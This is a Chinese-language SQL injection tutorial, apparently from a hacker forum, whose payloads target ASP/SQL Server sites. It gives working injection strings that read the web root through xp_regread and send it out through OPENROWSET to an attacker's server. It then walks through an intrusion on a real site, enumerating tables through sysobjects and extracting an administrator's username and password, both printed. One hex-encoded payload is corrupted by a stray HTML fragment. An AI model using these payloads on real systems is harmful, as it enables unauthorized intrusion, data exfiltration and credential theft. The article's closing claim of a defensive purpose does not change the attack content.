| SQL注入攻击常见方法和技巧- -
                                        
知己知披 方能百战百胜;“黑客”们采用的攻击方法雷同,下面是我挑选的一些具有代表性的攻击方法 
,分析这些方法有助于程序员们编写更少漏洞的程序。 
跨站式SQL注入数据库攻击和防范技巧 
前一阶段,在尝试攻击一个网站的时候,发现对方的系统已经屏蔽了错误信息,用的也是普通的帐号连接 
的数据库,系统也是打了全部的补丁这样要攻击注入是比较麻烦的。因此我自己搞了一种“跨站式SQL注 
入”。 
  思路如下,既然你不显示错误信息,我能不能让你显示到别的地方呢?让SQL把错误写入别的地方。 
  既然是研究阶段,我们最好不要直接注入网站,而是首先用查询分析器来分析这个方法。 
  第一个想法:    
  SQL可以连接外部的数据库。    
  于是,首先用查询分析器,登陆到我自己的一个虚拟主机的数据库(这样的权限比较小),然后在本 
地启动一个SQL server,并且用SA的身份在SQL事件探测器里边建立一个跟踪。   
  尝试 sp_addlinkedserver 如果成功,那就和操作本地数据库一样了。   
  提示必须是sysadmin的身份。。失败。  
  换一个思路: 
  只要你SQL敢发命令过来,我不管执行的结果怎么样,只要接获到命令就可以了。   
  于是考虑到一个权限要求不是很高的命令:OPENROWSET 来跨服务器查询。这个命令作用是把一个数 
据库命令发给远程的数据库,取回来结果集。。于是就启动“事件跟踪”监视发过来的命令。   
  第一次尝试,首先还是执行 create table [dbo].[laokai]([cha8][char](255))--建立一个表。随 
后是把路径写入数据库,这里我考虑,直接生成一个跨库的脚本算了。好方便执行。。 
  DECLARE @result varchar(255) exec master.dbo.xp_regread 
'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots', '/' 
,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'','' 
你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + 
''''''')AS a');-- 
  这段代码什么意思哪?就是把网站的路径信息写入数据库。也不是单纯的写,写得同时构造一个SQL 
语句,这个语句的执行结果是给laokai这个数据库的cha8字段增加了这样的一行记录。   
SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors 
where au_fname=''C:Inetpub,,1''')AS a 
   
  其中的C:Inetpub,,1就是注册表记录的根目录,最后要做的是: 
 DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);-- 
  
  这样就等于执行了 
SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors 
where au_fname=''C:Inetpub,,1''')AS a 
  这一条语句,同时你会在事件探测器那边会显示   
SELECT * FROM pubs.dbo.authors where au_fname='C:Inetpub,,1' 
    
  其中的C:Inetpub 就是网站的路径。。调试成功。。   
  现在进入实战阶段。某网站屏蔽了全部出错信息。但是我们可以确定它存在注入点 a.asp?id=1,怎么 
做呢? 
a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--    
   
  返回正常,我们建立了一个叫laokai的表,有个字段叫cha8,然后: 
a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread 
'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots', '/' 
,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'','' 
你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + 
''''''')AS a');-- 
   
  出错了......出错信息被屏蔽了......怎么办?经过研究发现是里边的某些字符例如 +号需要转化成 
16进制,或许还有别的地方要转化......怎么办啊? 
  于是写了一个ASCII转化16进制的工具,把全部的代码转化一下,然后注入就OK了。(工具的下载地 
址 http://www.cha8.com/ascii.rar 麻烦放入光盘,不要让他们下,我的服务器受不了),最后自然是执 
行上述语句了。 
   
a.asp?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35 
%29%20%65%78%65%63%20% 
6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65%61%64%20%27%48%4B%45%59%5F%4C%4F%43 
%41%4C%5F%4D%41%43%48% 
49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76 
%69%63%65%73%5C%57%33% 
53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20 
%27%2F%27%20%2C%40%72% 
65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%6C%61%6F%6B%61%69 
%20%28%63%68%61%38%29% 
20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F 
%57%53%45%54%28%27%27% 
53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%27%3B%27%27%73%61%27%27%3B%27%27%3F%3F 
%27%27%2C%20%27%27%53% 
45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%64%62%6F%2E%61%75%74%68%6F%72%73%20%77 
%68%65%72%65%20%61%75% 
5F%66%6E%61%6D%65%3d/33.shtml' target='_blank' 
class='article'>3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%74%20% 
2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2D%20 
  执行成功。 
a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);-- 
  网站那边显示还是正常页面。。但是你这边的事件探测器那边会显示: 
  
  注入成功。。后边知道了绝对路径,如何添加木马的文章就很多了。。这里就不再描述了。。 
  最后说明一下:这只是一个新型的攻击思路的讲解,让大家通过另外一种方式把数据库里边的数据取 
出来。。 
  ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''' 
部分,修改成insert把数据加入数据库也应该没有问题。。甚至单独保留 @result 都没问题。。不过这 
样那边会出错。这边就留下一个exec 'C:Inetpub,,1' 
SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很 
多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序,比如动网,尘缘雅境,而我们 
也可以拿到免费的程序来看其中的漏洞和数据库的结构,从中来达到注入的目的,不过如果是别人自己写 
的程序,那么我们就不知道他的源代码,更不知道他的数据库结构(数据表名和其中的字段名),就算有 
个变量未过滤提交到数据库去,我们也是无从对其下手的,只能利用通过猜解他的数据库结构来构造相应 
的SQL语句,那么是不是就到此为止,能猜到多少是多少呢?没有做不到的,只有想不到的,我相信这篇 
文章对研究SQL Injection朋友来说,应该会有所启发。 
  一、发现漏洞,常规注入 
  最近帮我们的站增加音乐,虽然本地的电信的音乐资源库非常丰富,但是缺少有关歌手和专辑的资料 
,所以到网上去闲逛找点有用的图片和歌手简介,通过百度搜索到了一个mp3的音乐超市,里面的资料还 
是比较丰富的,拷贝的同时顺手在他的Specialid=1817后面加了一个(单引号),我突然眼前一亮: 
Microsoft OLE DB Provider for SQL Server 错误 80040e14 
字符串 之前有未闭合的引号。 
/showspecial.asp,行13 
  Specialid没有过滤掉单引号就直接用到SQL语句中去了,而且是SQL SERVER版本的,漏洞的可利用性 
极大,可不能就此放过这么好的练兵机会,接着换;(分号)提交进去,居然页面正常出来了,说明该变 
量也没有过滤掉;号,到这里,我们就可以对此进行SQL渗透了,按照常规的步骤: 
  1、提交http://********/showspecial.asp?Specialid=1817;use master;-- 
  注:--的作用是注释掉程序中后面的SQL语句,以防对我们构造的语句有影响,比如order by.. 
  出现 
Microsoft OLE DB Provider for SQL Server 错误 80040e21 
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。 
/showspecial.asp,行13 
  想在他的数据库里增加一个管理员是不可能了,我们再换一种方法 
  2、提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(id) from 
[user]) 
  这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段 
  一般来说: 
  如果不存在该表的话,会出现 
Microsoft OLE DB Provider for SQL Server 错误 80040e37 
对象名 user 无效。 
/showspecial.asp,行13 
  不存在该字段的话,会出现 
Microsoft OLE DB Provider for SQL Server 错误 80040e14 
列名 id 无效。 
/showspecial.asp,行13 
  注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据 
库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表use 
r或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码 
,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如 
name=username size=15> 
  很幸运,果然存在user表和id字段 
  3、通过提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username) 
from [user]) 
  这里的username是根据登陆框的表单名去猜的,恰好存在该字段。于是在该站注册了一个用户名为rr 
rrr的用户,作为注入的平台,得到我的用户名的id值103534 
  4、继续猜下去,这里我还是利用的他程序中的表单名,提交: 
  也存在,好了,到这里,我们的平台已经搭建好了。 
  二、深入研究,让SQL自己招数据库结构 
  很多时候,我们只能猜到大家比较熟用的表名,如果是非原程序公开下载的,我们很猜到他的真实数 
据库结构,有时候猜半天都猜不到,令人很郁闷,那么该如何拿到他的表结构呢?我们知道SQL SERVER的 
每一个数据库都会有用户表和系统表,根据SQL SERVER的联机帮助描述是系统表sysobjects:在数据库内 
创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行,那么也就是说当前数据库的 
表名都会在该表内有存在,(对象名 admin 无效。大家可以看到上面出现的报错把表名描述成对象)。 
  我们要用的是其中的3个,描述如下(详细的见SQL SERVER的联机帮助): 
   name 数据表的名字 
   xtype 数据表的类型 u为用户表 
   id 数据表的对象标志 
   status 保留字段,用户表一般都是大于0的 
  在查询分析器执行以下SQL语句(以我本地的数据库为例子) 
select top 1 name from sysobjects where xtype=u and status>0 
  我们马上就可以得到该数据库下用户表的第一个表名gallery 
select top 1 id from sysobjects where xtype=u and name=gallery 
  我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048 
select top 1 name from sysobjects where xtype=u and id>2099048 
  再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的。 
  以此类推,我们可以得到所有的用户表的名字了 
  接下来,我们要根据得到的表名取他的字段名,这里我们用到的是系统自带的2个函数col_name()和o 
bject_id(),在查询分析器执行以下SQL语句(以我本地的数据库为例子): 
select top 1 col_name(object_id(gallery),1) from gallery 
  得到gallery表的第一个字段名为id。 
  注: 
   col_name()的语法 
   COL_NAME ( table_id , column_id ) 
  参数 
   table_id:包含数据库列的表的标识号。table_id 属于 int 类型。 
   column_id:列的标识号。column_id 参数属于 int 类型。 
  其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。 
。字段的标识号 
  以此类推得到该表所有的字段名称 
  三、再次渗透攻击 
  经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了 
  依然是那个页,我们提交 
sysobjects where xtype=u and status>0) where id=103534;-- 
  服务器返回 
ADODB.Recordset 错误 800a0cb3 
  当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。 
/showspecial.asp,行19 
  出师不利,可能该页记录集打开方式是只读,我们再换一个页 
  找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交 
name from sysobjects where xtype=u and status>0) where id=103534;-- 
  把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser 
from sysobjects where xtype=u and name=lmuser) where id=103534;-- 
  得到第一个表lmuser的id标识号为:363148339 
name from sysobjects where xtype=u and id>363148339) where id=103534;-- 
  得到第二个表名为:ad。这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取 
……(由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能 
就是管理员的列表了。 
  好,接下来我们就取该表的字段名 
col_name(object_id(admin),1) from admin) where id=103534;-- 
  得到第1个字段为:id 
col_name(object_id(admin),2) from admin) where id=103534;-- 
  得到第2个字段为:username 
col_name(object_id(admin),3) from admin) where id=103534;-- 
  得到第2个字段为:password 
  到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿 
管理员的id值,这个比较简单,我就不再详细说了。 
  我们拿到的id值是44 
username from admin where id=44) where id=103534;-- 
  将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3 
password from admin where id=44) where id=103534;-- 
  将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ 
  怎么样,拿到密码了吧? 
注:该文章只为帮助开发人员能够更好的了解sql注入攻击的形式及方法,从而找到更好的防御方法。  |